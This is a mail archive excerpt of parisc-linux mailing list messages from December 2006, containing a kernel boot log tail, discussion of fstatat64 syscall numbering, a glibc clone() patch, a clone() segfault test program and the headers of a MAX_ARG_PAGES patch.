SCSI device sda: write cache: disabled, read cache: enabled, supports DPO and FUA
 sda: sda1 sda2 sda3 sda4
sd 1:0:5:0: Attached scsi disk sda
SCSI device sdb: 71132960 512-byte hdwr sectors (36420 MB)
sdb: Write Protect is off
sdb: Mode Sense: d3 00 10 08
SCSI device sdb: write cache: disabled, read cache: enabled, supports DPO and FUA
SCSI device sdb: 71132960 512-byte hdwr sectors (36420 MB)
sdb: Write Protect is off
sdb: Mode Sense: d3 00 10 08
SCSI device sdb: write cache: disabled, read cache: enabled, supports DPO and FUA
 sdb: sdb1 sdb2 sdb3 sdb4
sd 1:0:6:0: Attached scsi disk sdb
sd 1:0:5:0: Attached scsi generic sg0 type 0
sd 1:0:6:0: Attached scsi generic sg1 type 0
usbmon: debugfs is not available
ohci_hcd: 2006 August 04 USB 1.1 'Open' Host Controller (OHCI) Driver (PCI)
ohci_hcd 0000:00:0e.2: OHCI Host Controller
ohci_hcd 0000:00:0e.2: new USB bus registered, assigned bus number 1
ohci_hcd 0000:00:0e.2: irq 1, io mem 0xf2007000
usb usb1: configuration #1 chosen from 1 choice
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 3 ports detected
USB Universal Host Controller Interface driver v3.0
usb 1-1: new low speed USB device using ohci_hcd and address 2
usb 1-1: configuration #1 chosen from 1 choice
usb 1-2: new low speed USB device using ohci_hcd and address 3
usb 1-2: configuration #1 chosen from 1 choice
input: Logitech N48 as /class/input/input0
input: USB HID v1.00 Mouse [Logitech N48] on usb-0000:00:0e.2-1
input: SILITEK USB Keyboard and Mouse as /class/input/input1
input: USB HID v1.00 Keyboard [SILITEK USB Keyboard and Mouse] on usb-0000:00:0e.2-2
input: SILITEK USB Keyboard and Mouse as /class/input/input2
input: USB HID v1.00 Mouse [SILITEK USB Keyboard and Mouse] on usb-0000:00:0e.2-2
usbcore: registered new interface driver usbhid
drivers/usb/input/hid-core.c: v2.6:USB HID core driver
mice: PS/2 mouse device common for all mice
rtc-test rtc-test.0: rtc core: registered test as rtc0
rtc-test rtc-test.1: rtc core: registered test as rtc1
md: linear personality registered for level -1
md: raid0 personality registered for level 0
md: raid1 personality registered for level 1
md: raid10 personality registered for level 10
raid6: int32x1    308 MB/s
raid6: int32x2    389 MB/s
raid6: int32x4    469 MB/s
raid6: int32x8    467 MB/s
raid6: using algorithm int32x4 (469 MB/s)
md: raid6 personality registered for level 6
md: raid5 personality registered for level 5
md: raid4 personality registered for level 4
raid5: measuring checksumming speed
   8regs     :  1821.000 MB/sec
   8regs_prefetch:  1727.000 MB/sec
   32regs    :  1443.000 MB/sec
   32regs_prefetch:  1436.000 MB/sec
raid5: using function: 8regs (1821.000 MB/sec)
device-mapper: ioctl: 4.11.0-ioctl (2006-10-12) initialised: dm-devel@redhat.com
TCP cubic registered
NET: Registered protocol family 1
NET: Registered protocol family 17
rtc-test rtc-test.0: setting the system clock to 2006-12-27 18:36:35 (1167244595)
Sending BOOTP requests . OK
IP-Config: Got BOOTP answer from 192.168.178.50, my address is 192.168.178.70
IP-Config: Complete:
      device=eth0, addr=192.168.178.70, mask=255.255.255.0, gw=192.168.178.1,
     host=c3000, domain=box, nis-domain=(none),
     bootserver=192.168.178.50, rootserver=192.168.178.50, rootpath=
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 368k freed
eth0: Setting full-duplex based on MII#1 link partner capability of 05e1.
Adding 263144k swap on /dev/sda1.  Priority:-1 extents:1 across:263144k
Adding 1953784k swap on /dev/sdb3.  Priority:-2 extents:1 across:1953784k
EXT3 FS on sda3, internal journal
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sdb2, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda4, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sdb4, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
hald-probe-stor(1803): unaligned access to 0xfb23bd26 at ip=0x00013fc3
hald-probe-stor(1803): unaligned access to 0xfb23bd2a at ip=0x00013fc3
hald-probe-stor(1803): unaligned access to 0xfb23bd36 at ip=0x00013fc3
hald-probe-stor(1803): unaligned access to 0xfb23bd3a at ip=0x00013fc3
hald-probe-stor(1803): unaligned access to 0xfb23bd56 at ip=0x00013fc3
hald-probe-stor(1803): unaligned access to 0xfb23bd5a at ip=0x00013fc3
hald-probe-volu(1804): unaligned access to 0xfb011c26 at ip=0x00014be7
hald-probe-volu(1804): unaligned access to 0xfb011c2a at ip=0x00014be7

--Boundary-00=_BBskFHj9kJL8sAu
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_BBskFHj9kJL8sAu--



From - Thu Nov 08 21:35:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fstatat64 and newfstatat syscalls
Date: Wed, 27 Dec 2006 23:28:18 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <200612272328.18484.deller__8825.29209270633$1416624241$gmane$org@gmx.de>
References: <200612230049.41484.deller@gmx.de>
	<200612230054.34497.deller@gmx.de>
	<20061224034018.GB24131@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624241 21909 80.91.229.3 (22 Nov 2014 02:44:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2006 22:28:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 27 Dec 2006 23:28:37 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D68B7D7FE;
	Wed, 27 Dec 2006 15:28:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25780-01; Wed, 27 Dec 2006 15:28:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B4F97D7A9;
	Wed, 27 Dec 2006 15:28:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A77F7D765
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Dec 2006 15:28:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25504-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Dec 2006 15:28:21 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 53A657D75C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Dec 2006 15:28:21 -0700 (MST)
Original-Received: (qmail invoked by alias); 27 Dec 2006 22:28:20 -0000
Original-Received: from mnhm-590c25ac.pool.einsundeins.de (EHLO p100.box) [89.12.37.172]
	by mail.gmx.net (mp049) with SMTP; 27 Dec 2006 23:28:20 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <20061224034018.GB24131@colo.lackof.org>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: o8agfSoWPjltCOrBOTU2GxAzMTE2NQmJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24175

On Sun Dec 24 2006, Grant Grundler wrote:
> On Sat, Dec 23, 2006 at 12:54:34AM +0100, Helge Deller wrote:
> > On Sat Dec 23 2006, Helge Deller wrote:
> > > Hi Grant,
> > > 
> > > I think we have some wrong assignments with above $TOPIC syscalls.
> > > 
> > > I found this mail and CVS patch from you:
> > > http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2006-February/036543.html
> 
> Yeah - I wasn't that confident in that change.  My main goal was to get the build
> working again. I didn't have any way to prove it was correct.
> 
> > > http://cvs.parisc-linux.org/linux-2.6/arch/parisc/kernel/syscall_table.S.diff?cvsroot=&r1=1.22&r2=1.23
> > > 
> > > but currently we have:
> > > arch/parisc/kernel/syscall_table.S:		ENTRY_SAME(fstatat64)           /* 280 */
> > > while in:
> > > include/asm-parisc/unistd.h:			#define __NR_newfstatat         (__NR_Linux + 280)
> > 
> > I think the right solution is to change current line in unistd.h to this:
> > include/asm-parisc/unistd.h:			#define __NR_fstatat64         (__NR_Linux + 280)
> 
> Yeah. That looks better to me too.
> I suspect I assumed fstatat64 and newfsatat would be equivalent in all contexts.
> 
> > The fstatat testcase from LTP passes with then this change as well...
> 
> Excellent - thanks for fixing!

I just committed this change...

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] fix error condition in glibc's clone() call
Date: Fri, 29 Dec 2006 17:09:34 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <200612291709.34592.deller__22584.7319853075$1416624242$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624242 21920 80.91.229.3 (22 Nov 2014 02:44:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:02 +0000 (UTC)
Cc: Joel Soete <soete.joel@tiscali.be>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2006 16:10:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 29 Dec 2006 17:10:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E3EEE7D889;
	Fri, 29 Dec 2006 09:10:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12784-06; Fri, 29 Dec 2006 09:10:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C37F97D89B;
	Fri, 29 Dec 2006 09:10:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 856A07D86D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 09:10:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12784-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 09:10:02 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 8B6457D857
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 09:10:01 -0700 (MST)
Original-Received: (qmail invoked by alias); 29 Dec 2006 16:09:58 -0000
Original-Received: from mnhm-590c25ac.pool.einsundeins.de (EHLO p100.box) [89.12.37.172]
	by mail.gmx.net (mp026) with SMTP; 29 Dec 2006 17:09:58 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yAqmcVxXf2I/GoicY2xoFldwdWxlc1bx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24176

Hello,

The following patch to glibc fixes an error which is triggered by the Linux Test Projects clone04 test, and was already mentioned and analyzed by Mike and Joel (see links to mail threads below).
The problem is, that if clone(<function>, <stack>, ...) is called and <function> or <stack> is NULL, then %r19 is restored from a location which wasn't initialized.
Something like this...
clone:
		if <function> == NULL goto .Lerror
		if <stack>== NULL goto .Lerror
		save_%r19_on_stack
		.....
.Lerror:	restore_%r19_from_stack  ##### <- may read from stack without %r19 having been saved here !
		goto __syscall_error

The patch below moves the "save_%r19_on_stack" part above the checks, so that "restore_%r19_from_stack" always reads the correct value.

Any takers to bring this patch into glibc ?

Helge

Original threads:
http://lists.parisc-linux.org/pipermail/parisc-linux/2006-January/028088.html
http://lists.parisc-linux.org/pipermail/parisc-linux/2006-March/028552.html
http://sourceware.org/ml/libc-alpha/2003-12/msg00120.html

PATCH:
--- ../glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/clone.S.org	2006-12-29 08:49:25.000000000 +0100
+++ ../glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/clone.S	2006-12-29 16:58:30.000000000 +0100
@@ -32,6 +32,11 @@
 ENTRY(__clone)
 	/* FIXME: I have no idea how profiling works on hppa. */
 
+	/* Save the PIC register. */
+#ifdef PIC
+	stw	%r19,-32(%sr0, %sp)	/* parent */
+#endif
+
 	/* Sanity check arguments.  */
 	comib,=  0,%arg0,.Lerror        /* no NULL function pointers */
 	ldi     -EINVAL,%ret0
@@ -42,11 +47,6 @@
 	stwm    %arg0,64(%arg1)
 	stw	%arg3,-60(%arg1)
 
-	/* Save the PIC register. */
-#ifdef PIC
-	stw	%r19,-32(%sr0, %sp)	/* parent */
-#endif

From - Thu Nov 08 21:35:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] timing bug in clone() ?
Date: Fri, 29 Dec 2006 17:21:53 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <200612291721.53961.deller__34556.6398268149$1416624242$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624242 21949 80.91.229.3 (22 Nov 2014 02:44:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2006 16:22:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 29 Dec 2006 17:22:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A1E37D876;
	Fri, 29 Dec 2006 09:22:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13215-01; Fri, 29 Dec 2006 09:22:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED7227D8C4;
	Fri, 29 Dec 2006 09:22:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 381AB7D86D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 09:21:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12849-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 09:21:57 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 413D97D685
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 09:21:57 -0700 (MST)
Original-Received: (qmail invoked by alias); 29 Dec 2006 16:21:55 -0000
Original-Received: from mnhm-590c25ac.pool.einsundeins.de (EHLO p100.box) [89.12.37.172]
	by mail.gmx.net (mp031) with SMTP; 29 Dec 2006 17:21:55 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iXemcVxXf2I/GoicY2xoV6ZwdWxlc5bi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24177

Help !

I'm trying to find the reason, why the program below segfaults on parisc.
if you change the "#if 0" to "#if 1", then it works without segfaulting.

To me it seems we have some kind of race in the linux kernel, e.g.
thread exits, wants to notify parent, but parent hasn't returned from clone() call... ?!?

Any ideas ?

Helge


"strace -f ./clonebug" gives:
....
brk(0)                                  = 0x21000
brk(0x42000)                            = 0x42000
clone(Process 7980 attached
child_stack=0x21090, flags=|SIGCHLD) = 7980
[pid  7979] wait4(-1, Process 7979 suspended
 <unfinished ...>
[pid  7980] --- SIGSEGV (Segmentation fault) @ 0 (0) ---
Process 7979 resumed
Process 7980 detached
<... wait4 resumed> NULL, 0, NULL)      = 7980
--- SIGCHLD (Child exited) @ 0 (0) ---
exit_group(0)                           = ?
Process 7979 detached




---------------------------------------------------------------------------
clonebug.c:
---------------------------------------------------------------------------
/* excerpt of clone07.c from Linux Test Project */
#include <sched.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <unistd.h>

/* This test (clone07) checks, if a "return 0" in a child process suceeds without crashing */
/* Unfortunately, we crash not because of the "return 0", but due to some timimig/signalling problems ?? */

static int do_child(void *arg)
{
#if 0  /* program SIGSEGVs if you turn this to "0" */
	sleep(1);
#endif
	return 0; /* clone07 checks, if a "return 0" in a child process suceeds without crashing */
}

int main(int ac, char **av)
{
	int child_pid;
	void *child_stack = (void*)malloc(1000);	/* stack for child */
    	
	child_pid = clone(do_child, child_stack, SIGCHLD, NULL);
	wait(NULL);

	return 0;
}
---------------------------------------------------------------------------
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch] remove MAX_ARG_PAGES
Date: Fri, 29 Dec 2006 21:03:57 +0100
Lines: 1065
Approved: news@gmane.org
Message-ID: <20061229200357.GA5940__2654.76233694262$1416624242$gmane$org@elte.hu>
References: <65dd6fd50610101705t3db93a72sc0847cd120aa05d3@mail.gmail.com>
	<1160572460.2006.79.camel@taijtu>
	<65dd6fd50610111448q7ff210e1nb5f14917c311c8d4@mail.gmail.com>
	<65dd6fd50610241048h24af39d9ob49c3816dfe1ca64@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624242 21951 80.91.229.3 (22 Nov 2014 02:44:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:02 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-arch@vger.kernel.org,
 Peter Zijlstra <a.p.zijlstra@chello.nl>,
 Andi Kleen <ak@muc.de>,
 linux-kernel@vger.kernel.org,
 David Howells <dhowells@redhat.com>,
 linux-mm@kvack.org,
 Linus Torvalds <torvalds@osdl.org>,
 parisc-linux@lists.parisc-linux.org,
 Arjan van de Ven <arjan@infradead.org>
To: Ollie Wild <aaw@google.com>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2006 20:29:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 29 Dec 2006 21:29:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 992097D8A0;
	Fri, 29 Dec 2006 13:29:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14676-02; Fri, 29 Dec 2006 13:29:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C74567D8C1;
	Fri, 29 Dec 2006 13:29:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41D9D7D816
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 13:07:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14464-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 13:07:10 -0700 (MST)
Original-Received: from mx2.mail.elte.hu (mx2.mail.elte.hu [157.181.151.9])
	by free.linux.hp.com (Postfix) with ESMTP id 00EC17D799
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 13:07:09 -0700 (MST)
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx2.mail.elte.hu with esmtp (Exim) id 1H0O0K-0007nF-2L
	from <mingo@elte.hu>; Fri, 29 Dec 2006 21:07:01 +0100
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id 9C18D3E2421; Fri, 29 Dec 2006 21:06:22 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <65dd6fd50610241048h24af39d9ob49c3816dfe1ca64@mail.gmail.com>
User-Agent: Mutt/1.4.2.2i
Received-SPF: softfail (mx2: transitioning domain of elte.hu does not
	designate 157.181.1.14 as permitted sender)
	client-ip=157.181.1.14; envelope-from=mingo@elte.hu;
